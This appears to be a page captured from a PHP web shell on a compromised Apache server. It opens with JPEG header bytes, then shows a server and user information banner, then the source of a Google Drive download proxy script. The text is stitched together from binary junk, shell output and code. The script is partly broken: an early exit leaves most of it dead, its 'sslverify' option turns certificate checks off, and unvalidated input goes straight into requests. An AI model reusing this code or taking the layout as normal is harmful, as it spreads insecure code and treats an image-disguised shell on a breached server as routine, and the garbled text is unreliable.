���� JFIF �� � ( %"1"%)+...383,7(-.-
![]() Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20 System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64 User : apache ( 48) PHP Version : 7.4.20 Disable Function : NONE Directory : /var/www/html/vidoe.top/proxy/ |
<?php // (Code gốc gkplugin) Code đã được edit lại bởi #LTP Kai (Night Owl VN) - https://lythanhphuc.com, Code được share miễn phí. error_reporting(E_ALL ^ (E_NOTICE | E_WARNING | E_DEPRECATED)); $f = $_GET['url']; $id = str_encode(hex2bin($f),'123Vid@Net'); echo get_drive_download($f); exit(); /*if(strpos($_GET['url'], 'docs.google.com') || strpos($_GET['url'], 'drive.google.com')) {*/ header('Location:'. get_drive_download($f)); exit(); /*}else { echo 'Not Supported!'; }*/ function str_encode($data,$pwd) { $x = 0; $a = 0; $j = 0; $Zcrypt = ''; $pwd_length = strlen($pwd); for ($i = 0; $i < 255; $i++) { $key[$i] = ord(substr($pwd, ($i % $pwd_length)+1, 1)); $counter[$i] = $i; } for ($i = 0; $i < 255; $i++) { $x = ($x + $counter[$i] + $key[$i]) % 256; $temp_swap = $counter[$i]; $counter[$i] = $counter[$x]; $counter[$x] = $temp_swap; } for ($i = 0; $i < strlen($data); $i++) { $a = ($a + 1) % 256; $j = ($j + $counter[$a]) % 256; $temp = $counter[$a]; $counter[$a] = $counter[$j]; $counter[$j] = $temp; $k = $counter[(($counter[$a] + $counter[$j]) % 256)]; $Zcipher = ord(substr($data, $i, 1)) ^ $k; $Zcrypt .= chr($Zcipher); } return $Zcrypt; } function get_curl($obj){ $link = isset($obj['url'])?$obj['url']:NULL; $useheader = isset($obj['showHeader'])?$obj['showHeader']:NULL; $useragent = isset($obj['agent'])?$obj['agent']:NULL; $referer = isset($obj['referer'])?$obj['referer']:NULL; $custheader = isset($obj['requestHeaders'])?$obj['requestHeaders']:NULL; $ucookie = isset($obj['cookie'])?$obj['cookie']:NULL; $encoding = isset($obj['encoding'])?$obj['encoding']:NULL; $mpostfield = isset($obj['data'])?$obj['data']:NULL; $sslverify = isset($obj['sslverify'])?$obj['sslverify']:NULL; $nobody = isset($obj['nobody'])?$obj['nobody']:NULL; //$ipv6 = isset($obj['ipv6'])?$obj['ipv6']:NULL; $method = isset($obj['method'])?$obj['method']:NULL; $usehttpheader = true; $mpost = false; if($method=="POST"){ $mpost = true; } if(!$useragent || $useragent==""){ $useragent = $_SERVER['HTTP_USER_AGENT']; } if($mpostfield){ $arrd = array(); foreach($mpostfield as $key => $value){ $arrd[] = $key."=".$value; } $mpostfield = implode("&",$arrd); } $curl = curl_init(); $header[0] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; $header[] = "Accept-Language: en-us,en;q=0.5"; $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7"; $header[] = "Keep-Alive: 115"; $header[] = "Connection: keep-alive"; if($custheader){ foreach($custheader as $key => $value){ $header[] = $key.": ".$value; } } curl_setopt($curl, CURLOPT_URL, $link); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); if($useheader){curl_setopt($curl, CURLOPT_HEADER, 1);} if($useragent!=""){curl_setopt($curl, CURLOPT_USERAGENT, $useragent);} if($usehttpheader){curl_setopt($curl, CURLOPT_HTTPHEADER, $header);} if($ucookie!=""){curl_setopt($curl, CURLOPT_COOKIE, str_replace('\\"','"',$ucookie));} if($referer!=""){curl_setopt($curl, CURLOPT_REFERER, $referer);} if($encoding!=""){curl_setopt($curl, CURLOPT_ENCODING, $encoding);} if($mpost){curl_setopt($curl, CURLOPT_POST, 1);} if($mpostfield!=""){curl_setopt($curl, CURLOPT_POSTFIELDS, $mpostfield);} if($nobody){curl_setopt($curl, CURLOPT_NOBODY, 1);} //if($ipv6){curl_setopt($curl, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V6);} if($sslverify){ curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2); } $result = curl_exec($curl); curl_close($curl); return $result; } function get_drive_download($url){ //$idd = explode("/file/d/",$url); //$idd = explode("/",$idd[1]); $idd = $url; //$idd = $idd[0]; $linkG = "https://drive.google.com/uc?export=download&confirm=no_antivirus&id=".$idd; $dta = get_curl(array("url"=>$linkG,"sslverify"=>true,"showHeader"=>true)); echo $dta; exit(); $ck = NULL; $confirm = NULL; try{ $ckc = explode("download_warning_",$dta); if(!isset($ckc[1])){ throw new Exception(); } $ckc = explode(";",$ckc[1]); $ckc = $ckc[0]; $ck = "download_warning_".$ckc; $confirm = explode("=",$ck); $confirm = $confirm[1]; $fileExt = explode('class="uc-name-size"',$dta); $fileExt = explode('href="',$fileExt[1]); $fileExt = explode('>',$fileExt[1]); $fileExt = explode('<',$fileExt[1]); $fileExt = $fileExt[0]; }catch(Exception $e){} $linkG = str_replace("&confirm=no_antivirus&","&confirm=".$confirm."&",$linkG); $dta = get_curl(array("url"=>$linkG,"sslverify"=>true,"showHeader"=>true,"cookie"=>$ck)); if(strpos($dta,'he document has move')!==false){ $linkD = explode('<A HREF="',$dta); $linkD = explode('">',$linkD[1]); $linkD = $linkD[0]; }else{ $linkD = 'Không tìm thấy link, có thể link đã bị limit hoặc del.'; } return $linkD; } ?>